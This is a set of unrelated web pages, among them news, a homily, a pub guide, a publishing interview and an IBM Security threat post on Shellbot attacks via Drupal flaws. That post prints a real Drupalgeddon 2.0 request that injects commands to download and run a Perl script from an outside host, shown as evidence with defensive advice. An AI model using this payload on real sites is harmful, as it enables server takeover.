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The Noida Police have filed a case against eight people, including journalists Rajdeep Sardesai, Mrinal Pandey, Zafar Agha and editors of The Caravan, and Congress leader Shashi Tharoor for allegedly misreporting and spreading disharmony during the clashes between the police and protesting farmers on Republic Day.
The complainant accused them of inciting riots through their social media posts on Tuesday. They sought an inquiry into the matter and demanded that the social media posts be removed.
According to the FIR, the accused tweeted that the police shot dead a farmer protesting against the farm laws during Tuesday’s clashes. It alleged that the protestors, incited by the tweets, reached the Red Fort and hoisted flags on the historical structure.
“There were many important personalities during the Republic Day parade,” the FIR said. “But the accused tweeted to malign the image of the police and the security forces.” It claimed that the accused have carried out such actions to affect the country’s peace and security earlier as well.
Tens of thousands of farmers have been camped on the outskirts of Delhi for two months to demand the withdrawal of the three new farm laws. On Tuesday, a tractor parade of farmers to coincide with Republic Day celebrations turned into chaos when some farmers diverged from agreed routes, and broke through barricades.
The situation escalated when the police responded by using tear gas and batons on the protestors. The Delhi Police said 394 of its officers had been injured across the city.
It was not clear how many protestors had been injured, but one farmer died in the ITO area. While the Delhi Police said that the farmer had died in an accident, protestors alleged that the farmer was shot.
Many protestors went to the Red Fort and raised flags on a minaret.
Twenty-five criminal cases have been filed in connection with the violence, and 19 persons have been arrested so far. The police have also detained around 200 protestors on charges of rioting, damaging public property and attacking its personnel.
The police have alleged that farmer leaders made inflammatory speeches, and were involved in the violence during the tractor parade. Farmers have denied the allegations and blamed “antisocial elements” for the chaos. Several farmer leaders, including Swaraj India President Yogendra Yadav and Bharatiya Kisan Union’s Haryana unit President Gurnam Singh Chaduni, were named in one of the FIRs filed by the police. | <urn:uuid:14469690-bb89-4c43-a037-f0b91ff49d44> | CC-MAIN-2024-18 | https://scroll.in/latest/985383/tractor-rally-violence-fir-against-shashi-tharoor-rajdeep-sardesai-six-others-for-misreporting | 2024-04-15T00:46:01Z | s3://commoncrawl/crawl-data/CC-MAIN-2024-18/segments/1712296816904.18/warc/CC-MAIN-20240414223349-20240415013349-00867.warc.gz | en | 0.97832 | 511 |
At Stationers’ Crown Woods Academy, we recognise the vital connection between regular attendance and academic success. We are committed to ensuring that every student benefits from the full-time education we provide, and we believe that consistent attendance is key to achieving this goal.
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San Diego Bishop Robert W. McElroy delivered the following Homily during a special Mass with the Catholic African American Community at the Church of The Immaculata on June 6, 2020.
Mass with the Catholic African American Community
Today’s Feast of the Holy Trinity provides a powerful backdrop to the terrible events which have led to and proceeded from the murder of George Floyd. For in the identity and actions of the Father, Son and Spirit we find the charter for how we, as people of faith, must confront this moment of injustice and racial hatred, this moment of anger, despair and hope.
The beautiful act of the Father in creation presents to us the foundation for every truth that matters about racial prejudice and the unity of the human family. It is the gift of creation in which we find the root of all of the blessings that we know in our lives on this earth. And it is in the deliberate decision of the Father to create the human person in God’s own image and likeness that we see the eternal mandate that we must recognize in everyone that we meet an equal son or daughter of God. There are no children of a lesser god on this earth. We are all equal in the human family that God alone has made as one.
The doctrine of original sin teaches us that sin entered the world not through divine action, but through human failing. And the actuality of original sin that burdens us from our first breath lies in the fact that we are born into a world where God’s beautiful design of love and blessings has been deformed by structures that not only do not speak of God, but lead us directly away from God – grotesque economic inequalities, war and institutionalized violence, destruction of life in the womb, and the devastation of the environment.
But of all the elements of original sin that weigh down our humanity, racial, ethnic and cultural prejudice are the most hateful and unceasing. It is a bitter mystery of the human soul why we find contentment in looking down upon, isolating and vilifying others because of the color of their skin or their national background. And it is particularly vile that we erect fences around racial and ethnic groups in the core of our souls, refusing so often even to recognize the sinfulness of the prejudice that lurks within us, whether that prejudice be overt or subtle, spoken or acted upon.
The act of creation is gracious and expansive. It conveys to every person the right to the goods of this world, to equal claims in dignity and society, and to every dimension of justice. God the Father weeps over our continuous refusal to bring this same graciousness into our relationships with others. God grieves that the structures of racism and inequality become imbedded in our ways of thinking, our cultural assumptions, our patterns of residence and friendship and worship. As we give thanks to God the Father this day for the beauty of the created order, we must confront the disjunction between the Father’s intentions for our world and the social realities that we have created in our vindictiveness, selfishness and pride. We must acknowledge our sin and we must amend.
If our contemplation of the glory of the Father reveals our continuous unfaithfulness to the plan of God in allowing racism to flourish in our hearts and in our world, our closeness to the Son places the human suffering born of racism at the center of our prayer and action this day.
God so loved the world that he sent his only Son into our midst to teach us how to live and to convey to us that God’s love has no reservation. The incomparable sign of that love is the cross of Jesus Christ. God could have redeemed the world without ever having his Son die on the cross. He embraced the cross as a sign of atonement for our sins and as a testimony to the fundamental truth of our faith that when we or someone we love is deeply suffering in this life, we turn to a God not of distance and abstraction, but a God who knows intimately what physical, emotional and spiritual suffering are because he endured them all in his passion and crucifixion.
It is for this reason that the cross is the central symbol of our Christian faith – a piercing witness to the reality that God stands with us in our suffering and that God demands that we work to end the sufferings of others imposed by our own actions or that of our society.
At this moment, we must confront the reality that ever since the first black men were forcibly brought to Virginia to labor in bondage, the African American community in the United States has been hung upon the cross in a uniquely systematic manner rivaled only by our country’s treatment of Native Americans.
This time of the cross did not end with emancipation. It did not end with the Fourteenth and Fifteenth Amendments that professed to bring equality in dignity and rights. The African American community’s time on the cross did not end with the civil rights movement nor with the election of a black president.
This time on the cross continues in the interconnecting legacies of slavery and racial prejudice that have produced economic and social barriers to progress for the African American community in every sector of our national life. It continues in residential segregation that magnifies inequalities in education and opportunity. This time on the cross has been rampant in this time of COVID, as black Americans were forced to bear greater burdens of exposure and risk in keeping our society alive during these days of lockdown. And this time on the cross continues to be embodied in the horrific fear of every black mother and father, every wife and husband, that their son or daughter or spouse may be the next victim of police violence rooted in racial prejudice, callousness, indifference or animus.
If our love for Jesus Christ, hanging on the cross, is to have meaning for us as people of faith, it must compel us to move dramatically and unceasingly to end the institutionalized suffering which the African American community has endured all throughout our history as a people. We cannot simply pass by in silence, as the crowd did while our Lord was crucified.
On this Trinity Sunday, we remember that the Father gives to us God’s loving plan for human history and solidarity. The Son accompanies us in our own suffering and demands that we accompany others in their days of agony. But it is the Spirit who breathes us as disciples and as a community of faith to renew the face of the earth.
This moment in our nation’s long crucifixion of the African American community must not be merely an interlude. It must be a moment of transformation. When the Spirit of God descended upon the Apostles on Pentecost, they were timid, lost and fearful. But with the Spirit in their midst they transformed the whole of the world.
We must do the same now. The voices of young people coming together to demand substantive, structural change are an immense sign of hope. The African American community itself — speaking with a power and eloquence that are penetrating our deafness and hardness of heart – is a sign of hope. The recognition that only a sustained and integrated effort to accomplish structural change and reform will suffice – these are signs of hope and the presence of the Spirit in the events of these days.
We in the Catholic Community must seize upon this moment as transformative and enduring. We must use our educational and formational programs to bring to our children the beauty of God’s gift of equality in creation. We must examine the ways in which we contribute to the suffering of African American workers and parents, students and elderly, the dispossessed and the hurting by how we live and act and spend and vote. We must move deliberately to support deep reforms in law enforcement so that true justice, protection and service lie at the heart of police cultures in our land. And on this Trinity Sunday, we must not find in the Father, Son and Spirit merely a source of contentment and complacency, but also that we might find in the Trinity the God of urgency, of suffering, of solidarity and renewal who compels us to act. | <urn:uuid:f36af33b-7ad1-4bd0-83e5-9ddb371dc2c7> | CC-MAIN-2024-18 | https://sdcatholic.org/bishop/mass-with-the-catholic-african-american-community/ | 2024-04-15T00:25:18Z | s3://commoncrawl/crawl-data/CC-MAIN-2024-18/segments/1712296816904.18/warc/CC-MAIN-20240414223349-20240415013349-00867.warc.gz | en | 0.95736 | 1,648 |
Managing water sustainably is key to the future of food and agriculture
Agriculture production is highly dependent on water and increasingly subject to water risks. It is also the largest using sector and a major polluter of water. Improving agriculture’s water management is therefore essential to a sustainable and productive agro-food sector.
Agriculture is expected to face increasing water risks in the future
In recent years, agricultural regions around the globe have been subject to extensive and increasing water constraints. Major droughts in Chile and the United States have affected agricultural production while diminishing surface and groundwater reserves. These and other extreme weather events, like floods or tropical storms, are also expected to be more frequent. Climate change is projected to increase the fluctuations in precipitation and surface water supplies, reducing snow packs and glaciers and affecting crop’s water requirements.
Coupled with these changes, farmers in many regions will face increasing competition from non-agricultural users due to rising urban population density and water demands from the energy and industry sectors. In addition, water quality is likely to deteriorate in many regions, due to the growth of polluting activities, salination caused by rising sea levels and the abovementioned water supply changes.
These water challenges are expected to strongly impact agriculture – a highly water-dependent sector – undermining the productivity of rain-fed and irrigated crops and livestock activities particularly in certain countries and regions. These changes could in turn further impact markets, trade, and broader food security. An OECD assessment of future water risk hotspots projects that without further action, Northeast China, Northwest India, and the Southwest United States will be among the most severely affected regions, with domestic and global repercussions.
Agriculture both contributes to and faces water risks
For as much as agriculture is impacted by these changes, it also contributes to the problem as a major user and polluter of water resources in many regions. As such, agriculture has a central role to play in addressing these challenges.
Irrigated agriculture remains the largest user of water globally, a trend encouraged by the fact that farmers in most countries do not pay for the full cost of the water they use. Agriculture irrigation accounts for 70% of water use worldwide and over 40% in many OECD countries. Intensive groundwater pumping for irrigation depletes aquifers and can lead to negative environmental externalities, causing significant economic impact on the sector and beyond. In addition, agriculture remains a major source of water pollution; agricultural fertiliser run-off, pesticide use and livestock effluents all contribute to the pollution of waterways and groundwater.
What should governments do to confront water issues?
The challenges that lie ahead are both extremely complex and locally diverse. It will be important for policymakers to focus on efforts that increase the overall efficiency of water use by the agricultural sector, reduce the sector’s impact on freshwater resources, and improve its resilience to water risks. To this end, the OECD advocates for multiple policy responses at different levels, each adapted to specific water resource systems.
In order to facilitate a transition to a more sustainable and productive agricultural sector that is resilient to water risks, governments should act at the farm, watershed and national levels to (1) strengthen and enforce existing water regulations, (2) create incentives for farmers to improve their water use and better manage the use of polluting agricultural inputs; and (3) remove policies that support excessive use of water and polluting activities.
To assist policy makers in addressing this challenge, OECD analysis and indicators contribute to formulating policy responses, defining pathways to make the necessary policy changes, and facilitating their implementation to move agriculture towards the sustainable management of water. OECD's work on agriculture and water is also highlighted in the 2016 OECD Council Recommendation on Water.
Measuring progress in agricultural water management
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Ready for women’s Derby Day? Pull up a stool, footy fans. It’s time to see Manchester United against Manchester City on that big, beautiful green pitch this Saturday (March 23) in the Women’s Super League (WSL). And we can’t wait to hit up the pubs and soak up the rowdy atmosphere. Things are expected to get pretty busy for obvious reasons (any excuse for a pint), and of course, expect things to be pretty chaotic around the city. To help you get planning your footy outings, we’ve rounded up the best places to watch the football in Manchester – after Old Trafford and the Etihad, of course.
1. Tib Street Tavern
A popular spot when the football’s on – particularly on Derby Days – the Tib Street Tavern can be found nestled down the Northern Quarter’s curious Tib Street, offering proper pub vibes with screens at every turn. The atmosphere is absolutely buzzing with football fans, with two floors for fans to spread out across and find a spot to watch the match. Tib Street Tavern, 74 Tib St, M4 1LG.
2. The Brotherhood
The Brotherhood is an industrial-style American sports bar that can be found just behind Albert Square, not only screening live football matches, but boxing, rugby and more. Enjoy beers and cocktails while watching the match, as well as wings, nachos, burgers, and other American classics. The Brotherhood, 2 Mount St, M2 5WQ.
3. The Sawyer’s Arms
A traditional pub found on busy Deansgate, The Sawyer’s Arms serves up cold pints with plenty of space to watch the footy. One of Manchester’s oldest pubs, guests can expect tons of beers on tap, as well as English pub grub and a proper pub atmosphere. The Sawyer’s Arms, 138 Deansgate, M3 2RP.
One of the Printworks’ thriving venues, the Manchester Bierkeller frequently screens live sports – with over twenty screens, three projector screens and a massive LED superscreen to accommodate footy fans. Enjoy cold beers, steins and pitchers, as well as 8-pint beer towers, stein cocktails and more. There’s really no better place to watch football in Manchester if you like it lary. Manchester Bierkeller, The Printworks, Withy Grove, M4 2BS.
5. Cafe Football
Given that it’s a football-themed hotel, it’d be pretty bonkers if it wasn’t playing the footy, especially since it’s down the road from Old Trafford. Owned by Gary Neville, Cafe Football is part of Hotel Football – which neighbours the iconic home of Manchester United, Old Trafford. A venue inspired by the game itself, guests can expect tons of cold beers on offer, football-inspired cocktails, and more, as well as Man United memorabilia, and even a food menu inspired by the game. Expect it to be packed out with reds this Saturday. Cafe Football, 99 Sir Matt Busby Way, Old Trafford, Stretford, M16 0SZ.
6. The Shack
Bringing life to live sports, The Shack is an underrated place to enjoy the Manchester Derby, frequently screening live sports, however, limited spaces are available so booking is advised to ensure you can watch the football in peace (or not). Tuck into proper footy food like burgers and fries alongside sipping some cocktails, plus the bar screens some reality TV too. The Shack, 69 High St, M4 1FS.
7. Box Bar
One of Manchester’s most popular dedicated sports bars, BOX Bar is the perfect place to soak up the atmosphere this Saturday. Whether you’re a red or a blue, you’re sure to enjoy their classic bar grub (crowd-pleasing with plenty of burgers and pizzas, of course), alongside cocktail steins, spacious bar area for both seating and standing, and plenty of big screens to watch the match on. BOX Bar, 125 Deansgate, M3 2BY.
Fancy something a little bit different this weekend? Sixes Social Cricket is the perfect spot to gather with mates – not only because you can watch the footy in their sports bar, complete with pool tables and plenty of seating, but because you can take on your mates with a game of social cricket afterwards. Take on the simulation and bat your way to glory after your team has won the match. Sixes Social Cricket, The Corn Exchange, New Cathedral St, M4 3TR.
9. Portland MCR
Like your game with a side of grub? Portland MCR certainly won’t disappoint. Not only the home of live sports, but absolutely whopping burgers, too, guests can tuck into an epic American menu packed full of plates such as cheese-smothered hot dogs, buffalo chicken, and even their huge 10-stack beef burger. Portland MCR, Portland St, M1 3HU.
10. The Beagle
Home to much-loved Nell’s Pizza, you will be able to get sensational slices and a slice of the action at this Chorlton pub. The Beagle is screening the Manchester Derby, as usual, making it a great opportunity to experience this gorgeous pub. So, get the beers and frozen margaritas in and cheer on your team sat in this cosy pub. The Beagle, 456-458 Barlow Moor Road, Chorlton, M21 0BQ.
11. Port Street Beer House
Fancy a proper pint? Serving craft beers galore, from sour sessions to showstopping stouts, Port Street Beer House has got you covered. And the football covered too. The beer house has a walk-ups only policy, but be quick to nab yourself a seat in front of the screen. You can sit in comfy booths or flee to their outdoor terrace if you’re not liking the score. Port Street Beer House, 39-41 Port Street, M1 2EQ
12. Mulligans Of Deansgate
Mulligans, based just off Deansgate in the heart of Manchester, is an authentic Irish Pub, renowned for having the best pint of Guinness in Manchester and is Manchester’s oldest Irish Pub. Mulligans shows a whole host of live sport including GAA, football, rugby and horse racing, and of course, will be showing the Manchester Derby on Saturday, and is one of the best places you could watch. Be warned though, blues, it’s most definitely a reds pub. Mulligans Of Deansgate, 12 Southgate, Manchester M3 2RB.
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This new workout is one we developed with the Naval Academy spec ops team when we were thinking about how to simulate an obstacle course without one to train with. So we figured there was a 20- to 30-yard run between obstacles. Most obstacles had either a pulling exercise, pushing exercise or a combination of both. So we added an eight-count body builder to the exercise and a pull-up and set the workout to a pyramid cycle. So it looks like this:
Preparation for obstacle courses: Use the 8-count body builder push-up/pull-up pyramid: This is one hardcore workout. Do one eight-count barbell push-up, run 20 meters to a pull-up bar and do one pull-up. Run back to the area where you do the 8 counts and then do two 8 counts, run back to the pullup bar and do two pull-ups. Keep the cycle of 8 counts, short runs and pull-ups until you fail at the pull-ups, then repeat in reverse order.
The 8-count body builder push-up: 8 movements of a mix of push-up/burpee:
Run to pull-up bar: This can start off as a sprint but likely change to a jog after several sets.
The proper pull-up (regular grip): Grab the pull-up bar with your hands placed about shoulder width apart and your palms facing away from you. Pull yourself upward until your chin is over the bar and complete the exercise by slowly moving to the hanging position.
Continue up the pyramid until you fail at pull-ups; resort to negatives for a few sets if you can limit them to 1-2 per set. If you cannot, then repeat the pyramid in reverse order.
Pull-ups (negatives): If you cannot do any pull-ups, you should try "negatives," or half pull-ups. All you have to do is get your chin over the bar by standing on something or having spotter push you over the bar. Then, you slowly lower yourself all the way down; let your arms hang, grasping the bar fully stretched. Keep your feet up and fight gravity for a count of five seconds. This will get your arms used to supporting your weight.
Going from 10-15 pull-ups to a goal of 25-30?
Try this workout: 100 pull-ups in as few sets as possible. Rest with 100 abs of choice and 50-100 push-ups, then repeat pull-ups for the next set until you reach 100 pull-ups.
Cannot do pull-ups? Check out the TRX.
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IBM Security’s Managed Security Services (MSS) team monitors the enterprise threat landscape on an ongoing basis, detecting and mapping new threats as they emerge. In a recent investigation, our MSS intelligence analysts discovered that malicious actors are using recent Drupal vulnerabilities to target various websites and possibly the underlying infrastructure that hosts them, leveraging Shellbot to open backdoors.
This appears to be a financially motivated effort to mass-compromise websites. How can defenders keep websites and underlying systems safe in the face of these evolving threats?
What Is Drupal, and Why Is It a Target?
Like WordPress, Drupal is a content management system (CMS) that is used widely by people who create and maintain websites and applications for all sorts of purposes, both personal and business, private and public. Drupal is open source and, as such, is maintained by a community of users. This is also how its security and vulnerability patching is maintained.
CMSs that are used across a large number of websites are juicy targets for cybercriminals, who commonly automate their attacks in a one-size-fits-all type of operation. Those who target random websites aim to compromise as many as possible and consider the monetization options later.
To do that, malicious actors often pick a vulnerability and then probe for exploitable sites en masse. Those found unpatched or vulnerable for some other reason might fall under the attacker’s control, which could mean a complete compromise of that site. With this level of control, the attacker has access to the site as a resource from which to steal data, host malicious content or launch additional attacks.
ShellBot Attacks Open Backdoors With Drupalgeddon 2.0
In recent investigations into malicious activity targeting enterprises across the globe, our team detected an IP address that was repeatedly sending the same HTTP POST request:
IP Address |
Suspicious Request |
/?q=user/password&name[#type]=markup&name[#markup]=cd /tmp;wget 220.127.116.11 /lip;perl;cd /tmp;curl -O 18.104.22.168 /lip;perl lip;rm -rf lip*&name[#post_render]=passthru |
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Further examination of these requests revealed additional sources of similar traffic from a number of command-and-control (C&C) servers, hosting servers that download a Perl script to launch the Shellbot malware and a payload naming pattern that started to paint the picture of a widespread cyberattack. Our team traced the beginning of this campaign to mid-August 2018.
Scan and Deploy
Scanning websites for vulnerable configurations, the attackers leveraged a critical remote code execution (RCE) vulnerability known as CVE-2018-7600, or Drupalgeddon 2.0, to eventually open a backdoor using the Shellbot malware. The scan also included a second vulnerability, CVE-2018-7602, another highly critical RCE flaw. Both these flaws have been patched, but vulnerabilities persists as users delay in patching and upgrading.
As we continued to look into the attack, vulnerable websites were scanned for the /user/register and /user/password pages in the installation phase as attackers tried to brute-force their way in with existing user access details discovered while attempting to “wget” the Perl script for Backdoor.Shellbot.
When successful, the script ran a shell command injection that was used to install the Perl-based bot. The Shellbot instance in our investigation connected to an Internet Relay Chat (IRC) channel and used it as a C&C hub to receive instructions from its controller. The bot contained multiple tools to perform distributed denial-of-service (DDoS) attacks and search for SQL injection weaknesses and other vulnerabilities, including privilege escalation to reach root level on the victimized system.
The vulnerabilities used in this campaign were leveraged in an automated way, allowing attackers to scan a large number of websites with minimal effort. Moreover, if successfully exploited, the flaw could lead to a potential compromise of the web application with the possibility of spilling over to the underlying operating system as well.
Shellbot itself is an old code that has been around since about 2005, used maliciously to remotely access and control compromised endpoints. Shellbot can open remote command line shells, perform denial-of-service attacks, run tasks and processes, download additional files per the attacker’s command, and change the endpoint’s settings, to name a few.
Shellbot may seem dated and simplistic, but it is in active use by several threat groups. In March 2017, in the heat of Apache Struts (CVE-2017-5638), ShellBot was packaged as the C&C with the PowerBot malware, which deployed cryptocurrency mining modules on infected devices. This combination allowed criminals to generate over $100k in illicit profits from their schemes.
Reviewing most of the Shellbot malware attacks we have detected in recent months, our team identified some variants with instructions to:
- Terminate all running cryptocurrency mining activities before installing the attacker’s new cryptocurrency miner;
- Host phishing campaigns;
- Distribute phishing email spam;
- Carry out various types of DDoS attacks; and
- Exfiltrate data via a PHP module to a predetermined email address.
Attackers Bank on Old Vulnerabilities
It costs a lot of time and money to find or buy a zero-day flaw — two resources cybercriminals are typically not willing to invest. It is much more lucrative to use existing vulnerabilities such as Drupalgeddon and attack code in an automated way, especially when users delay patching and updating their applications.
Here are some tips from our security specialists on how to mitigate the risk from existing vulnerabilities and those who use them to compromise web resources and assets:
- Use updated protocols such as HTTPS and upgrade if need be.
- Update CMSs to the most recent version and use all available patches.
- Perform input validation checks on all web applications to ensure that shell commands cannot be executed by any end user. Validate on both client and server side to ensure that scripting and malicious code cannot run on the underlying server or database.
- Attackers will try to brute-force credentials; make sure that passwords are strong, encrypted and salted. Use two-factor authentication (2FA) to foil automated attacks.
Want to know more? Find indicators of compromise (IoCs) and more technical details about this campaign on X-Force Exchange.
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Why does Amazon's online store regularly marks IngramSpark distributed books as requiring days, weeks, or occasionally months for fulfillment; or even shows them as “out of stock” entirely? Is print on demand still the best option for indie authors? Today, John Doppler, Watchdog at the Alliance of Independent Authors interviews UK indie author Adam Croft about IngramSpark and KDP Print challenges for Indie Authors
NOTE: The opinions and conclusions in this post are those of the interviewee. The Alliance of Independent Authors (ALLi) recommends POD publishing through IngramSpark for wide distribution, combined with Amazon KDP for the Amazon ecosystem, as the primary print option for most indie authors
If you're new to publishing in print, some background reading will help you to understand the issues discussed in this interview.
- For background, read this primer on the basics of print options for indie authors.
- To find out more about using the two big POD service together, read Which is better: KDP Print and IngramSpark?
- Our guide to getting your book into bookstores can be downloaded free of charge by ALLi members. Log in to the member zone and navigate to –> Publications –> Guidebooks –> Your Book in Bookstores. Non-members can purchase the book here.
Amazon vs IngramSpark
If you publish books with Ingram Spark (IS) exclusively, or in formats not (yet) available on Amazon e.g. hardback or large print, you're probably familiar with the “book not available” messages Amazon routinely posts. These messages blame IS for the delays, implying slow shipments or other logistical delays but IngramSpark insists that all POD orders print and ship within 48 hours. So what's going on? We caught up with UK Author and mega-seller, Adam Croft, ALLi's Wide Publishing Advisor, to discuss his recent experience and conclusions.
JOHN: What’s your experience of this interplay between IngramSpark and Amazon, and what it means for indie authors?
ADAM: In short, there've been problems for years. No-one's ever quite got to the bottom of why IngramSpark paperbacks fluctuate in their availability on Amazon, with messaging often stating four weeks for delivery, even though Ingram have a service level agreement to deliver within 48 hours. At Adam Croft.net, we received whispers that Amazon have been experiencing extreme delays getting stock into their warehouses, so we tested things in a few ways — including setting up as a supplier to Amazon ourselves, to see how long it took for products to be booked in.
In July 2020, I had a major release which involved a large number of paperback pre-orders from Amazon, with printing to be handled by IngramSpark. On release day, Amazon emailed readers to tell them their book was delayed by 6-8 weeks, due to issues with the publisher.
I am the publisher, so I knew that wasn't true. I spoke to IngramSpark and they told me Amazon had routed their entire order via the United States, then shipped it back to the UK. I believe they did this to ease pressures on their own warehouses.
Then the same thing happened with my September release. And again, with my May 2021 release of In Cold Blood, readers were again told the book was delayed because of the publisher.
Thankfully, the vast majority of my readers had ditched Amazon and were ordering either directly from us, or through other retailers, but the few who'd stuck with Amazon received the same message.
JOHN: That's a situation many of us have run into, both as authors and customers.
ADAM: We contacted Ingram again, but this time the response was more muted and wishy-washy. I'm not the sort of person who does muted and wishy-washy, and by now I had the bit between my teeth. A senior Amazon rep told me in writing ‘the problem is with Ingram', and specifically stated Ingram had not fulfilled the orders Amazon had placed.
We now had a specific and firm allegation from one side which would have to be either confirmed, ignored or denied, so I confronted Ingram with Amazon's claim. A senior manager at IngramSpark replied to me, saying that was not true, and attached detailed internal sales data showing every purchase order Amazon had made for In Cold Blood. The book had been up for pre-order for weeks prior its May launch, and Amazon had been taking readers' money for it, but they didn't even place an order with IngramSpark until June.
This, despite having told readers on its May launch date that their book was delayed due to issues with the publisher.
We approached Amazon KDPP with this evidence, and showed them the proof they had not even ordered the books in, despite taking readers' money–and then blamed us, and/or IS. At that point, Amazon ceased responding and they have continued to refuse to respond ever since.
I spoke to the CEO of the Society of Authors (the national association for authors in the UK), who suggested they and IS write a joint letter to Amazon, demanding an explanation and an investigation into how many authors this has affected, and continues to affect (we estimate thousands). I took this to the Director of IS, who refused, saying she didn't want to rock the boat with Amazon.
IS knows Amazon is misinforming readers and misinforming authors. They know Amazon is delaying sales of books readers have paid for and putting the blame on Ingram and authors. Yet, they (IS) actively chose not to side with authors, by doing nothing about it.
For me, this left me feeling that IngramSpark does not support indie authors, and does not have our backs.
JOHN: These delays have been a source of frustration for many indie authors, one that dates back to the early days of CreateSpace. There is a frequently-voiced suspicion that Amazon hinders fulfillment through Ingram (IS and Lightning Source) in order to drive business to KDPP. Do you feel that's the case?
ADAM: Yes, I do believe that's the case. And for the first time, we have incontrovertible evidence that's the case.
JOHN: In a post on your Facebook Group, The Indie Author Mindset, you said “POD is dead”. That's received pushback from some authors and experts who insist that it's still the best option for indie authors, especially those who don't have the resources to undertake a consignment print run and its associated costs. Often, the chief consideration for those authors is the up-front outlay of cash, rather than the return-on-investment. Do you feel that POD is no longer the best option for such authors?
ADAM: Yes, I do. Consignment print runs used to have high associated costs, but that's no longer the case. Companies such as Clays and CPI (in the UK, see ALLi directory for US and international options) have been providing short-run digital printing for a while now, and it's extremely cost effective.
Since I shifted my backlist paperbacks from IS to Clays, the cost per unit has more than halved, and I'm not doing huge runs. They store the books in their warehouse and distribute them directly to Gardners (who feeds Amazon and virtually every high street bookshop in the UK), as well as chains such as Waterstones. It's as easy as POD, except the books are there and ready to go the moment they're ordered — and I make more than twice the revenue I used to make on each copy.
Large, expensive print runs really aren't necessary anymore. Even if you just want to have 50 copies produced, my mental maths says you'd make around the same revenue per book as you would through POD. It really isn't expensive at all, and we can hardly consider 50 copies a large run.
Many of my books are still moving over, as I'm shifting an entire back-catalogue of thirty books at once, but the ones already with Clays are flying off the shelves. They're selling better because the availability is better.
Bookshops get their full retail discount see the books are being printed and distributed through a traditional, reputable channel that they already deal with daily. The only availability issues we've had is getting new runs printed fast enough.
JOHN: Does that apply equally to authors outside the UK? How does international distribution factor?
ADAM: On paper, yes. Gardners distribute to the whole of the English-speaking world, so for English-language books it should give you full worldwide availability. Overseas, there are other preferred distributors, and it may well be that it's worth getting similar runs done, say, in the US and Australia with the equivalent local printers and distributors. The process will be exactly the same. It's still early days on that front and we haven't fully tested it. We've certainly not had any issues, but my sales are well over 90% UK-based, anyway.
JOHN: Do you see any signs of the Ingram-Amazon relationship changing in future? Where do we go from here?
ADAM: No I don't. And it'll ultimately be their downfall. Like ALLi, I've been warning authors, publishers and just about everyone in the industry to reduce their reliance on Amazon for almost ten years, and it's only going to get worse.
I'm fortunate in that my sales have never been Amazon-heavy and that a very small percentage of my income comes through Amazon. I've set it up that way, but for many people that's not the case. That's the dominant position Amazon abuses, and anyone who relies heavily on them exclusively will suffer, sooner or later.
When it comes to IS, they've actively told us they won't put in a complaint with Amazon. In fact, the only outcome from this whole saga on the IngramSpark front is that the senior manager who provided us with that evidence left their job at IngramSpark shortly after, just three days later.
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I have listed a new property at 710 East 3rd Street in North Vancouver.
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The stage is set for this November’s general election between liberal Democrat Congressman Alan Grayson and Republican Carol Platt.
Grayson had an easy time of defeating his Democrat primary challenger Nick Ruiz, while Platt was able to defeat Jorge Bonilla by 20 points.Platt defeated Bonilla by pouring in over $60,000 of her own money, which helped her pull in the early absentee ballots votes.
Considering that the Republican primary election was dominated by the “anglo” vote, it will be very interesting to see how Platt does in the general election, where she will have to appeal to the 42 percent of Hispanics that reside in her congressional district.
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Did You Watch This Outstanding 80’s Controversial Boston TV Show?
Before ER, House and Grey's Anatomy, just to name a few, there was St. Elsewhere.
If you grew up in the 80's here in New England, you probably watched St. Elsewhere for other reasons besides the plot. It was filmed in South Boston and many people from the area were extras on the show. It was also the first time that we set our eyes upon Denzel Washington and Howie Mandell. Howie had a full head of curly locks back then.
According to Wikipedia and my memory, the fictional hospital was St. Eligius, a teaching hospital in Boston's South End. The name, St. Elsewhere, is a slang term used for hospitals that are not as well equipped as other hospitals. The opening sequence of the show used scenes from apartment buildings and hotels from the South End neighborhood where it was filmed.
St. Elsewhere took on some really controversial topics for the times. Check these out from the Washington Post:
- A surgeon sexually harasses a nurse.
- A small boy's episodes of shortness of breath turned out to be panic attacks caused by his fear of nuclear war.
- Dr. Donald Westphall the widowed chief of medicine, struggles to care for his autistic son.
- Dr. Daniel Auschlander continues to work despite his own liver cancer.
Speaking of Dr. Daniel Auschlander, the actor who portrayed him, Norman Lloyd, just passed away at 106 years old! WHAT?! The 80's, when St. Elsewhere was on, doesn't seem that long ago, but... he must have been in his late 60's, early 70's during its filming. God love him. Norman also got a role in 2015 in Amy Schumer's film, Trainwreck, as himself where he was, if my math is correct, 101 years old.
Remember the theme song to St. Elsewhere?
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032// Diary of an Online Marketer: The Real Behind-the-Scenes of Growing a Successful Online Business Using Facebook Groups, Social Media, and a Surprisingly Simple System!
Pssst… you’re getting a peek inside my business today.
Have you ever wondered what online marketers are actually doing to grow their business? Been curious as to what they spend their time focusing on… and what they don’t?!
Well pull up a seat because I’m peeling back the curtains and showing you exactly what goes into running a successful business 100% online using social media and a (surprisingly!) simple marketing plan.
We talk about: how to grow a Facebook group, where to find an audience of people who want to join your team, how to sell without being “salesy,” and which platforms have delivered the best results recently.
This episode is more than marketing theory, it’s my marketing diary. And when you listen, you’ll not only have the steps you need to grow your own online community, you’ll also see that you CAN do it, too. These strategies have been proven by me and students all across the country. This works wonders in the MLM, Direct Sales, Network Marketing, and Social Selling business models.
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WHAT WE DO
Each year we organise seminars and/or webinars on legal issues affecting social housing landlords. These are well attended events that are open to both SHLA members and non members.
HOW WE DO IT
SHLA is an organisation of and for social housing professionals and their lawyers. It is a non-commercial organisation, run by a committee of its members for the benefit of the wider membership. Its members are local authorities, housing associations, housing and policy professionals and solicitors and barristers who regularly represent social landlords.
“SINCE ITS CREATION SHLA HAS GONE FROM STRENGTH TO STRENGTH. EACH YEAR WE ORGANISE FIVE SEMINARS ON LEGAL ISSUES AFFECTING SOCIAL HOUSING LANDLORDS”
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Paull graduated from Sheridan College and has run Paull Rodrigue Glass in Dundas, Ontario since 2006.
Paull’s work has been the subject of many exhibitions and shows. His signature style features fantastic swirls of glass bursting with colour and life.
Light and colour plays a major part his search for balance and luminescence. Paull continues to explore new and innovative ways to push the boundaries of glass.
"Through multiple techniques and colour applications, I indulge in the presence of hot glass. Through the creative processes involved in making my work, a new side of my personality awakens. Creating new art presents a challenge in which I respond to in an intuitive and spontaneous manner. The seductive qualities of molten glass continue to entice me, resulting in works that are technically layered in colour, and eloquent in linear aesthetics. Light and colour play major parts in the refractive qualities in my search for balance and luminescence. Although I am satisfied with the knowledge and inspirational efforts put into the making of my work, I continue to search for new and innovative ways to push the boundaries of glass."
